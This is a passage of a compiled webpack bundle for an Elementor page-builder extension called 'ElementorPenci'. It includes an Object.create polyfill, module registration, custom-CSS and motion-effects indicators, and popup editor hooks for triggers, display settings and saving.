			iframe.src = 'javascript:'; // eslint-disable-line no-script-url
			// createDict = iframe.contentWindow.Object;
			// html.removeChild(iframe);
			iframeDocument = iframe.contentWindow.document;
			iframeDocument.open();
			iframeDocument.write(lt + 'script' + gt + 'document.F=Object' + lt + '/script' + gt);
			iframeDocument.close();
			createDict = iframeDocument.F;
			while (i--) delete createDict[PROTOTYPE][enumBugKeys[i]];
			return createDict();
		};

		module.exports = Object.create || function create(O, Properties) {
			var result;
			if (O !== null) {
				Empty[PROTOTYPE] = anObject(O);
				result = new Empty();
				Empty[PROTOTYPE] = null;
				// add "__proto__" for Object.getPrototypeOf polyfill
				result[IE_PROTO] = O;
			} else result = createDict();
			return Properties === undefined ? result : dPs(result, Properties);
		};


		/***/ }),
	/* 280 */
	/***/ (function(module, exports, __webpack_require__) {

		var dP = __webpack_require__(39);
		var anObject = __webpack_require__(23);
		var getKeys = __webpack_require__(235);

		module.exports = __webpack_require__(22) ? Object.defineProperties : function defineProperties(O, Properties) {
			anObject(O);
			var keys = getKeys(Properties);
			var length = keys.length;
			var i = 0;
			var P;
			while (length > i) dP.f(O, P = keys[i++], Properties[P]);
			return O;
		};


		/***/ }),
	/* 281 */
	/***/ (function(module, exports, __webpack_require__) {

// 19.1.2.9 / 15.2.3.2 Object.getPrototypeOf(O)
		var has = __webpack_require__(60);
		var toObject = __webpack_require__(93);
		var IE_PROTO = __webpack_require__(147)('IE_PROTO');
		var ObjectProto = Object.prototype;

		module.exports = Object.getPrototypeOf || function (O) {
			O = toObject(O);
			if (has(O, IE_PROTO)) return O[IE_PROTO];
			if (typeof O.constructor == 'function' && O instanceof O.constructor) {
				return O.constructor.prototype;
			} return O instanceof Object ? ObjectProto : null;
		};


		/***/ }),
	/* 282 */,
	/* 283 */,
	/* 284 */,
	/* 285 */,
	/* 286 */,
	/* 287 */,
	/* 288 */,
	/* 289 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireDefault = __webpack_require__(1);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		exports.default = void 0;

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _get3 = _interopRequireDefault(__webpack_require__(61));

		var _getPrototypeOf2 = _interopRequireDefault(__webpack_require__(25));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var BaseHookPopupAfter = /*#__PURE__*/function (_$e$modules$hookUI$Af) {
			(0, _inherits2.default)(BaseHookPopupAfter, _$e$modules$hookUI$Af);

			var _super = (0, _createSuper2.default)(BaseHookPopupAfter);

			function BaseHookPopupAfter() {
				(0, _classCallCheck2.default)(this, BaseHookPopupAfter);
				return _super.apply(this, arguments);
			}

			(0, _createClass2.default)(BaseHookPopupAfter, [{
				key: "run",
				value: function run() {
					var _get2;

					/**
					 * @type {PopupComponent}
					 */
					this.component = this.component || $e.components.get('document/popup');

					for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {
						args[_key] = arguments[_key];
					}

					return (_get2 = (0, _get3.default)((0, _getPrototypeOf2.default)(BaseHookPopupAfter.prototype), "run", this)).call.apply(_get2, [this].concat(args));
				}
			}]);
			return BaseHookPopupAfter;
		}($e.modules.hookUI.After);

		exports.default = BaseHookPopupAfter;

		/***/ }),
	/* 290 */,
	/* 291 */,
	/* 292 */,
	/* 293 */,
	/* 294 */,
	/* 295 */,
	/* 296 */,
	/* 297 */,
	/* 298 */,
	/* 299 */,
	/* 300 */,
	/* 301 */,
	/* 302 */,
	/* 303 */,
	/* 304 */,
	/* 305 */,
	/* 306 */,
	/* 307 */,
	/* 308 */,
	/* 309 */,
	/* 310 */,
	/* 311 */,
	/* 312 */,
	/* 313 */,
	/* 314 */,
	/* 315 */,
	/* 316 */,
	/* 317 */,
	/* 318 */,
	/* 319 */,
	/* 320 */,
	/* 321 */,
	/* 322 */,
	/* 323 */,
	/* 324 */,
	/* 325 */,
	/* 326 */,
	/* 327 */,
	/* 328 */,
	/* 329 */,
	/* 330 */,
	/* 331 */,
	/* 332 */,
	/* 333 */,
	/* 334 */,
	/* 335 */,
	/* 336 */,
	/* 337 */,
	/* 338 */,
	/* 339 */,
	/* 340 */,
	/* 341 */,
	/* 342 */,
	/* 343 */,
	/* 344 */,
	/* 345 */,
	/* 346 */,
	/* 347 */,
	/* 348 */,
	/* 349 */,
	/* 350 */,
	/* 351 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireDefault = __webpack_require__(1);

		var _editor = _interopRequireDefault(__webpack_require__(352));

		var _editor2 = _interopRequireDefault(__webpack_require__(353));

		var _module = _interopRequireDefault(__webpack_require__(354));

		var _module2 = _interopRequireDefault(__webpack_require__(367));

		var _module3 = _interopRequireDefault(__webpack_require__(380));

		var _module4 = _interopRequireDefault(__webpack_require__(401));

		var _module5 = _interopRequireDefault(__webpack_require__(427));

		var _editor3 = _interopRequireDefault(__webpack_require__(431));

		var ElementorPenci = Marionette.Application.extend({
			config: {},
			modules: {},
			initModules: function initModules() {
				var QueryControl = __webpack_require__(432),
					Library = __webpack_require__(434),
					FlipBox = __webpack_require__(436),
					ShareButtons = __webpack_require__(437),
					AssetsManager = __webpack_require__(438),
					ThemeElements = __webpack_require__(440);

				this.modules = {
					queryControl: new QueryControl(),
					forms: new _module4.default(),
					library: new Library(),
					customCSS: new _editor.default(),
					globalWidget: new _module2.default(),
					flipBox: new FlipBox(),
					motionFX: new _editor2.default(),
					shareButtons: new ShareButtons(),
					assetsManager: new AssetsManager(),
					themeElements: new ThemeElements(),
					themeBuilder: new _module3.default(),
					siteEditor: new _editor3.default(),
					screenshots: new _module5.default(),
					// Popup is depended on Theme Builder.
					popup: new _module.default()
				};
			},
			ajax: {
				prepareArgs: function prepareArgs(args) {
					args[0] = 'penci_' + args[0];
					return args;
				},
				send: function send() {
					return elementorCommon.ajax.send.apply(elementorCommon.ajax, this.prepareArgs(arguments));
				},
				addRequest: function addRequest() {
					return elementorCommon.ajax.addRequest.apply(elementorCommon.ajax, this.prepareArgs(arguments));
				}
			},
			translate: function translate(stringKey, templateArgs) {
				return elementorCommon.translate(stringKey, null, templateArgs, this.config.i18n);
			},
			onStart: function onStart() {
				var _this = this;

				this.config = PenciElementorConfig;
				this.initModules();
				jQuery(window).on('elementor:init', function () {
					return _this.onElementorInit();
				});
			},
			onElementorInit: function onElementorInit() {
				var _this2 = this;

				elementor.on('preview:loaded', function () {
					return _this2.onElementorPreviewLoaded();
				});
			},
			onElementorPreviewLoaded: function onElementorPreviewLoaded() {
				elementor.$preview[0].contentWindow.elementorPenci = this;
			},
			libraryRemoveGetProButtons: function libraryRemoveGetProButtons() {
			},
			onActivateSuccess: function onActivateSuccess() {
				// Hide notice.
				elementor.noticeBar.onCloseClick(); // Mark site connect for insert templates connect screen.

				elementor.config.library_connect.is_connected = true;

				elementorPenci.config.isActive = true;
				elementor.notifications.showToast({
					message: elementor.translate('connected_successfully')
				});
			}
		});
		window.elementorPenci = new ElementorPenci();
		elementorPenci.start();

		/***/ }),
	/* 352 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireDefault = __webpack_require__(1);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		exports.default = void 0;

		__webpack_require__(101);

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var _default = /*#__PURE__*/function (_elementorModules$edi) {
			(0, _inherits2.default)(_default, _elementorModules$edi);

			var _super = (0, _createSuper2.default)(_default);

			function _default() {
				(0, _classCallCheck2.default)(this, _default);
				return _super.apply(this, arguments);
			}

			(0, _createClass2.default)(_default, [{
				key: "addCustomCss",
				value: function addCustomCss(css, context) {
					if (!context) {
						return;
					}

					var model = context.model,
						customCSS = model.get('settings').get('custom_css');
					var selector = '.elementor-element.elementor-element-' + model.get('id');

					if ('document' === model.get('elType')) {
						selector = elementor.config.document.settings.cssWrapperSelector;
					}

					if (customCSS) {
						css += customCSS.replace(/selector/g, selector);
					}

					return css;
				}
			}, {
				key: "onElementorInit",
				value: function onElementorInit() {
					elementor.hooks.addFilter('editor/style/styleText', this.addCustomCss);
					elementor.on('navigator:init', this.onNavigatorInit.bind(this));
				}
			}, {
				key: "onNavigatorInit",
				value: function onNavigatorInit() {
					elementor.navigator.indicators.customCSS = {
						icon: 'code-bold',
						settingKeys: ['custom_css'],
						title: elementorPenci.translate('custom_css'),
						section: 'section_custom_css'
					};
				}
			}]);
			return _default;
		}(elementorModules.editor.utils.Module);

		exports.default = _default;

		/***/ }),
	/* 353 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireDefault = __webpack_require__(1);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		exports.default = void 0;

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var _default = /*#__PURE__*/function (_elementorModules$edi) {
			(0, _inherits2.default)(_default, _elementorModules$edi);

			var _super = (0, _createSuper2.default)(_default);

			function _default() {
				(0, _classCallCheck2.default)(this, _default);
				return _super.apply(this, arguments);
			}

			(0, _createClass2.default)(_default, [{
				key: "onElementorInit",
				value: function onElementorInit() {
					elementor.on('navigator:init', this.onNavigatorInit.bind(this));
				}
			}, {
				key: "onNavigatorInit",
				value: function onNavigatorInit() {
					elementor.navigator.indicators.motionFX = {
						icon: 'flash',
						title: elementorPenci.translate('motion_effects'),
						settingKeys: ['motion_fx_motion_fx_scrolling', 'motion_fx_motion_fx_mouse', 'background_motion_fx_motion_fx_scrolling', 'background_motion_fx_motion_fx_mouse'],
						section: 'section_effects'
					};
				}
			}]);
			return _default;
		}(elementorModules.editor.utils.Module);

		exports.default = _default;

		/***/ }),
	/* 354 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireDefault = __webpack_require__(1);

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var _component = _interopRequireDefault(__webpack_require__(355));

		var PopupModule = /*#__PURE__*/function (_elementorModules$edi) {
			(0, _inherits2.default)(PopupModule, _elementorModules$edi);

			var _super = (0, _createSuper2.default)(PopupModule);

			function PopupModule() {
				var _this;

				(0, _classCallCheck2.default)(this, PopupModule);

				for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {
					args[_key] = arguments[_key];
				}

				_this = _super.call.apply(_super, [this].concat(args));
				_this.displaySettingsTypes = {
					triggers: {
						icon: 'eicon-click'
					},
					timing: {
						icon: 'eicon-cog'
					}
				};
				return _this;
			}

			(0, _createClass2.default)(PopupModule, [{
				key: "onElementorLoaded",
				value: function onElementorLoaded() {
					this.component = $e.components.register(new _component.default({
						manager: this
					}));
				}
			}]);
			return PopupModule;
		}(elementorModules.editor.utils.Module);

		module.exports = PopupModule;

		/***/ }),
	/* 355 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireWildcard = __webpack_require__(148);

		var _interopRequireDefault = __webpack_require__(1);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		exports.default = void 0;

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _assertThisInitialized2 = _interopRequireDefault(__webpack_require__(66));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var _defineProperty2 = _interopRequireDefault(__webpack_require__(59));

		var hooks = _interopRequireWildcard(__webpack_require__(356));

		var PopupComponent = /*#__PURE__*/function (_$e$modules$Component) {
			(0, _inherits2.default)(PopupComponent, _$e$modules$Component);

			var _super = (0, _createSuper2.default)(PopupComponent);

			function PopupComponent() {
				var _this;

				(0, _classCallCheck2.default)(this, PopupComponent);

				for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {
					args[_key] = arguments[_key];
				}

				_this = _super.call.apply(_super, [this].concat(args));
				(0, _defineProperty2.default)((0, _assertThisInitialized2.default)(_this), "onPageSettingsCloseHandler", null);
				return _this;
			}

			(0, _createClass2.default)(PopupComponent, [{
				key: "getNamespace",
				value: function getNamespace() {
					return 'document/popup';
				}
			}, {
				key: "defaultHooks",
				value: function defaultHooks() {
					return this.importHooks(hooks);
				}
			}]);
			return PopupComponent;
		}($e.modules.ComponentBase);

		exports.default = PopupComponent;

		/***/ }),
	/* 356 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _Object$keys = __webpack_require__(48);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		var _data = __webpack_require__(357);

		_Object$keys(_data).forEach(function (key) {
			if (key === "default" || key === "__esModule") return;

			_Object$defineProperty(exports, key, {
				enumerable: true,
				get: function get() {
					return _data[key];
				}
			});
		});

		var _ui = __webpack_require__(359);

		_Object$keys(_ui).forEach(function (key) {
			if (key === "default" || key === "__esModule") return;

			_Object$defineProperty(exports, key, {
				enumerable: true,
				get: function get() {
					return _ui[key];
				}
			});
		});

		/***/ }),
	/* 357 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		_Object$defineProperty(exports, "PopupSave", {
			enumerable: true,
			get: function get() {
				return _save.PopupSave;
			}
		});

		var _save = __webpack_require__(358);

		/***/ }),
	/* 358 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireDefault = __webpack_require__(1);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		exports.default = exports.PopupSave = void 0;

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var PopupSave = /*#__PURE__*/function (_$e$modules$hookData$) {
			(0, _inherits2.default)(PopupSave, _$e$modules$hookData$);

			var _super = (0, _createSuper2.default)(PopupSave);

			function PopupSave() {
				(0, _classCallCheck2.default)(this, PopupSave);
				return _super.apply(this, arguments);
			}

			(0, _createClass2.default)(PopupSave, [{
				key: "getCommand",
				value: function getCommand() {
					return 'document/save/save';
				}
			}, {
				key: "getId",
				value: function getId() {
					return 'elementor-pro-popup-save';
				}
			}, {
				key: "getConditions",
				value: function getConditions() {
					return 'popup' === elementor.config.document.type;
				}
			}, {
				key: "apply",
				value: function apply() {
					var settings = {};
					jQuery.each(elementorPenci.modules.popup.displaySettingsTypes, function (type, data) {
						settings[type] = data.model.toJSON({
							remove: ['default']
						});
					});
					elementorPenci.ajax.addRequest('popup_save_display_settings', {
						data: {
							settings: settings
						}
					});
				}
			}]);
			return PopupSave;
		}($e.modules.hookData.After);

		exports.PopupSave = PopupSave;
		var _default = PopupSave;
		exports.default = _default;

		/***/ }),
	/* 359 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		_Object$defineProperty(exports, "PopupAddInstructions", {
			enumerable: true,
			get: function get() {
				return _addInstructions.PopupAddInstructions;
			}
		});

		_Object$defineProperty(exports, "PopupAddLibraryTab", {
			enumerable: true,
			get: function get() {
				return _addLibraryTab.PopupAddLibraryTab;
			}
		});

		_Object$defineProperty(exports, "PopupAddTriggers", {
			enumerable: true,
			get: function get() {
				return _addTriggers.PopupAddTriggers;
			}
		});

		_Object$defineProperty(exports, "PopupRemoveInstructions", {
			enumerable: true,
			get: function get() {
				return _removeInstructions.PopupRemoveInstructions;
			}
		});

		_Object$defineProperty(exports, "PopupRemoveLibraryTab", {
			enumerable: true,
			get: function get() {
				return _removeLibraryTab.PopupRemoveLibraryTab;
			}
		});

		_Object$defineProperty(exports, "PopupRemoveTriggers", {
			enumerable: true,
			get: function get() {
				return _removeTriggers.PopupRemoveTriggers;
			}
		});

		var _addInstructions = __webpack_require__(360);

		var _addLibraryTab = __webpack_require__(361);

		var _addTriggers = __webpack_require__(362);

		var _removeInstructions = __webpack_require__(364);

		var _removeLibraryTab = __webpack_require__(365);

		var _removeTriggers = __webpack_require__(366);

		/***/ }),
	/* 360 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireDefault = __webpack_require__(1);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		exports.default = exports.PopupAddInstructions = void 0;

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var _baseHookPopupAfter = _interopRequireDefault(__webpack_require__(289));

		var PopupAddInstructions = /*#__PURE__*/function (_BaseHookPopupAfter) {
			(0, _inherits2.default)(PopupAddInstructions, _BaseHookPopupAfter);

			var _super = (0, _createSuper2.default)(PopupAddInstructions);

			function PopupAddInstructions() {
				(0, _classCallCheck2.default)(this, PopupAddInstructions);
				return _super.apply(this, arguments);
			}

			(0, _createClass2.default)(PopupAddInstructions, [{
				key: "getCommand",
				value: function getCommand() {
					return 'editor/documents/open';
				}
			}, {
				key: "getId",
				value: function getId() {
					return 'elementor-pro-popup-add-instructions';
				}
			}, {
				key: "getConditions",
				value: function getConditions(args) {
					var document = elementor.documents.get(args.id);
					return 'popup' === document.config.type && !elementor.config.user.introduction.popupSettings;
				}
			}, {
				key: "apply",
				value: function apply() {
					// Expose for the remove hook.
					this.component.onPageSettingsCloseHandler = this.onPageSettingsClose.bind(this);
					$e.components.get('panel/page-settings').on('route/close', this.component.onPageSettingsCloseHandler);
				}
			}, {
				key: "onPageSettingsClose",
				value: function onPageSettingsClose() {
					var introduction = this.getIntroduction();
					introduction.show(elementor.getPanelView().footer.currentView.ui.settings[0]);
					introduction.setViewed();
					$e.components.get('panel/page-settings').off('route/close', this.component.onPageSettingsCloseHandler);
				}
			}, {
				key: "getIntroduction",
				value: function getIntroduction() {
					return new elementorModules.editor.utils.Introduction({
						introductionKey: 'popupSettings',
						dialogOptions: {
							id: 'elementor-popup-settings-introduction',
							headerMessage: '<i class="eicon-info"></i>' + elementorPenci.translate('popup_settings_introduction_title'),
							message: elementorPenci.translate('popup_settings_introduction_message'),
							closeButton: true,
							closeButtonClass: 'eicon-close',
							position: {
								my: 'left bottom',
								at: 'right bottom-5',
								autoRefresh: true
							},
							hide: {
								onOutsideClick: false
							}
						}
					});
				}
			}]);
			return PopupAddInstructions;
		}(_baseHookPopupAfter.default);

		exports.PopupAddInstructions = PopupAddInstructions;
		var _default = PopupAddInstructions;
		exports.default = _default;

		/***/ }),
	/* 361 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireDefault = __webpack_require__(1);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		exports.default = exports.PopupAddLibraryTab = void 0;

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var PopupAddLibraryTab = /*#__PURE__*/function (_$e$modules$hookUI$Af) {
			(0, _inherits2.default)(PopupAddLibraryTab, _$e$modules$hookUI$Af);

			var _super = (0, _createSuper2.default)(PopupAddLibraryTab);

			function PopupAddLibraryTab() {
				(0, _classCallCheck2.default)(this, PopupAddLibraryTab);
				return _super.apply(this, arguments);
			}

			(0, _createClass2.default)(PopupAddLibraryTab, [{
				key: "getCommand",
				value: function getCommand() {
					return 'editor/documents/open';
				}
			}, {
				key: "getId",
				value: function getId() {
					return 'elementor-pro-popup-add-library-tab';
				}
			}, {
				key: "getConditions",
				value: function getConditions(args) {
					var document = elementor.documents.get(args.id);
					return 'popup' === document.config.type;
				}
			}, {
				key: "apply",
				value: function apply() {
					$e.components.get('library').addTab('templates/popups', {
						title: elementorPenci.translate('popups'),
						filter: {
							source: 'remote',
							type: 'popup'
						}
					}, 1);
				}
			}]);
			return PopupAddLibraryTab;
		}($e.modules.hookUI.After);

		exports.PopupAddLibraryTab = PopupAddLibraryTab;
		var _default = PopupAddLibraryTab;
		exports.default = _default;

		/***/ }),
	/* 362 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireDefault = __webpack_require__(1);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		exports.default = exports.PopupAddTriggers = void 0;

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var _displaySettings = _interopRequireDefault(__webpack_require__(363));

		var PopupAddTriggers = /*#__PURE__*/function (_$e$modules$hookUI$Af) {
			(0, _inherits2.default)(PopupAddTriggers, _$e$modules$hookUI$Af);

			var _super = (0, _createSuper2.default)(PopupAddTriggers);

			function PopupAddTriggers() {
				(0, _classCallCheck2.default)(this, PopupAddTriggers);
				return _super.apply(this, arguments);
			}

			(0, _createClass2.default)(PopupAddTriggers, [{
				key: "getCommand",
				value: function getCommand() {
					return 'editor/documents/open';
				}
			}, {
				key: "getId",
				value: function getId() {
					return 'elementor-pro-popup-add-triggers';
				}
			}, {
				key: "getConditions",
				value: function getConditions(args) {
					var document = elementor.documents.get(args.id);
					return 'popup' === document.config.type;
				}
			}, {
				key: "apply",
				value: function apply() {
					if (elementor.panel) {
						this.addUI();
					} else {
						// First open, the panel is not available yet.
						elementor.on('preview:loaded', this.addUI.bind(this));
					}
				}
			}, {
				key: "addUI",
				value: function addUI() {
					this.addPanelFooterSubmenuItems();
					this.addPublishTabs();
				}
			}, {
				key: "addPublishTabs",
				value: function addPublishTabs() {
					var config = elementor.config.document.displaySettings,
						component = $e.components.get('theme-builder-publish'),
						module = elementorPenci.modules.popup;
					jQuery.each(module.displaySettingsTypes, function (type, data) {
						// Init models for editor save.
						data.model = new elementorModules.editor.elements.models.BaseSettings(config[type].settings, {
							controls: config[type].controls
						});
						component.addTab(type, {
							View: _displaySettings.default,
							viewOptions: {
								name: type,
								id: "elementor-popup-".concat(type, "__controls"),
								model: data.model,
								controls: data.model.controls
							},
							name: type,
							title: elementorPenci.translate(type),
							description: elementorPenci.translate("popup_publish_screen_".concat(type, "_description")),
							image: elementorPenci.config.urls.modules + "popup/assets/images/".concat(type, "-tab.svg")
						});
					});
				}
			}, {
				key: "addPanelFooterSubmenuItems",
				value: function addPanelFooterSubmenuItems() {
					var component = $e.components.get('theme-builder-publish'),
						displaySettingsTypes = elementorPenci.modules.popup.displaySettingsTypes;
					jQuery.each(displaySettingsTypes, function (type, data) {
						elementor.getPanelView().footer.currentView.addSubMenuItem('saver-options', {
							before: 'save-template',
							name: type,
							icon: data.icon,
							title: elementorPenci.translate(type),
							callback: function callback() {
								return $e.route(component.getTabRoute(type));
							}
						});
					});
				}
			}]);
			return PopupAddTriggers;
		}($e.modules.hookUI.After);

		exports.PopupAddTriggers = PopupAddTriggers;
		var _default = PopupAddTriggers;
		exports.default = _default;

		/***/ }),
	/* 363 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireDefault = __webpack_require__(1);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		exports.default = void 0;

		var _keys = _interopRequireDefault(__webpack_require__(48));

		__webpack_require__(101);

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _get2 = _interopRequireDefault(__webpack_require__(61));

		var _getPrototypeOf2 = _interopRequireDefault(__webpack_require__(25));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var _default = /*#__PURE__*/function (_elementorModules$edi) {
			(0, _inherits2.default)(_default, _elementorModules$edi);

			var _super = (0, _createSuper2.default)(_default);

			function _default() {
				var _this;

				(0, _classCallCheck2.default)(this, _default);

				for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {
					args[_key] = arguments[_key];
				}

				_this = _super.call.apply(_super, [this].concat(args));
				_this.template = _.noop;
				_this.activeTab = 'content';

				_this.listenTo(_this.model, 'change', _this.onModelChange);

				return _this;
			}

			(0, _createClass2.default)(_default, [{
				key: "getNamespaceArray",
				value: function getNamespaceArray() {
					return ['popup', 'display-settings'];
				}
			}, {
				key: "className",
				value: function className() {
					return (0, _get2.default)((0, _getPrototypeOf2.default)(_default.prototype), "className", this).call(this) + ' elementor-popup__display-settings';
				}
			}, {
				key: "toggleGroup",
				value: function toggleGroup(groupName, $groupElement) {
					$groupElement.toggleClass('elementor-active', !!this.model.get(groupName));
				}
			}, {
				key: "onRenderTemplate",
				value: function onRenderTemplate() {
					this.activateFirstSection();
				}
			}, {
				key: "onRender",
				value: function onRender() {
					var _this2 = this;

					var name = this.getOption('name');
					var $groupWrapper;
					this.children.each(function (child) {
						var type = child.model.get('type');

						if ('heading' !== type) {
							if ($groupWrapper) {
								$groupWrapper.append(child.$el);
							}

							return;
						}

						var groupName = child.model.get('name').replace('_heading', '');
						$groupWrapper = jQuery('<div>', {
							id: "elementor-popup__".concat(name, "-controls-group--").concat(groupName),
							class: 'elementor-popup__display-settings_controls_group'
						});
						var $imageWrapper = jQuery('<div>', {
								class: 'elementor-popup__display-settings_controls_group__icon'
							}),
							$image = jQuery('<img>', {
								src: elementorPenci.config.urls.modules + "popup/assets/images/".concat(name, "/").concat(groupName, ".svg")
							});
						$imageWrapper.html($image);
						$groupWrapper.html($imageWrapper);
						child.$el.before($groupWrapper);
						$groupWrapper.append(child.$el);

						_this2.toggleGroup(groupName, $groupWrapper);
					});
				}
			}, {
				key: "onModelChange",
				value: function onModelChange() {
					var changedControlName = (0, _keys.default)(this.model.changed)[0],
						changedControlView = this.getControlViewByName(changedControlName);

					if ('switcher' !== changedControlView.model.get('type')) {
						return;
					}

					this.toggleGroup(changedControlName, changedControlView.$el.parent());
				}
			}]);
			return _default;
		}(elementorModules.editor.views.ControlsStack);

		exports.default = _default;

		/***/ }),
	/* 364 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireDefault = __webpack_require__(1);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		exports.default = exports.PopupRemoveInstructions = void 0;

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var _baseHookPopupAfter = _interopRequireDefault(__webpack_require__(289));

		var PopupRemoveInstructions = /*#__PURE__*/function (_BaseHookPopupAfter) {
			(0, _inherits2.default)(PopupRemoveInstructions, _BaseHookPopupAfter);

			var _super = (0, _createSuper2.default)(PopupRemoveInstructions);

			function PopupRemoveInstructions() {
				(0, _classCallCheck2.default)(this, PopupRemoveInstructions);
				return _super.apply(this, arguments);
			}

			(0, _createClass2.default)(PopupRemoveInstructions, [{
				key: "getCommand",
				value: function getCommand() {
					return 'editor/documents/unload';
				}
			}, {
				key: "getId",
				value: function getId() {
					return 'elementor-pro-popup-remove-instructions';
				}
			}, {
				key: "getConditions",
				value: function getConditions(args) {
					var document = args.document;
					return 'popup' === document.config.type && !elementor.config.user.introduction.popupSettings;
				}
			}, {
				key: "apply",
				value: function apply() {
					$e.components.get('panel/page-settings').off('route/close', this.component.onPageSettingsCloseHandler);
				}
			}]);
			return PopupRemoveInstructions;
		}(_baseHookPopupAfter.default);

		exports.PopupRemoveInstructions = PopupRemoveInstructions;
		var _default = PopupRemoveInstructions;
		exports.default = _default;

		/***/ }),
	/* 365 */
	/***/ (function(module, exports, __webpack_require__) {

		"use strict";


		var _interopRequireDefault = __webpack_require__(1);

		var _Object$defineProperty = __webpack_require__(0);

		_Object$defineProperty(exports, "__esModule", {
			value: true
		});

		exports.default = exports.PopupRemoveLibraryTab = void 0;

		var _classCallCheck2 = _interopRequireDefault(__webpack_require__(3));

		var _createClass2 = _interopRequireDefault(__webpack_require__(6));

		var _inherits2 = _interopRequireDefault(__webpack_require__(4));

		var _createSuper2 = _interopRequireDefault(__webpack_require__(5));

		var PopupRemoveLibraryTab = /*#__PURE__*/function (_$e$modules$hookUI$Af) {
			(0, _inherits2.default)(PopupRemoveLibraryTab, _$e$modules$hookUI$Af);

			var _super = (0, _createSuper2.default)(PopupRemoveLibraryTab);

			function PopupRemoveLibraryTab() {
				(0, _classCallCheck2.default)(this, PopupRemoveLibraryTab);
				return _super.apply(this, arguments);
			}

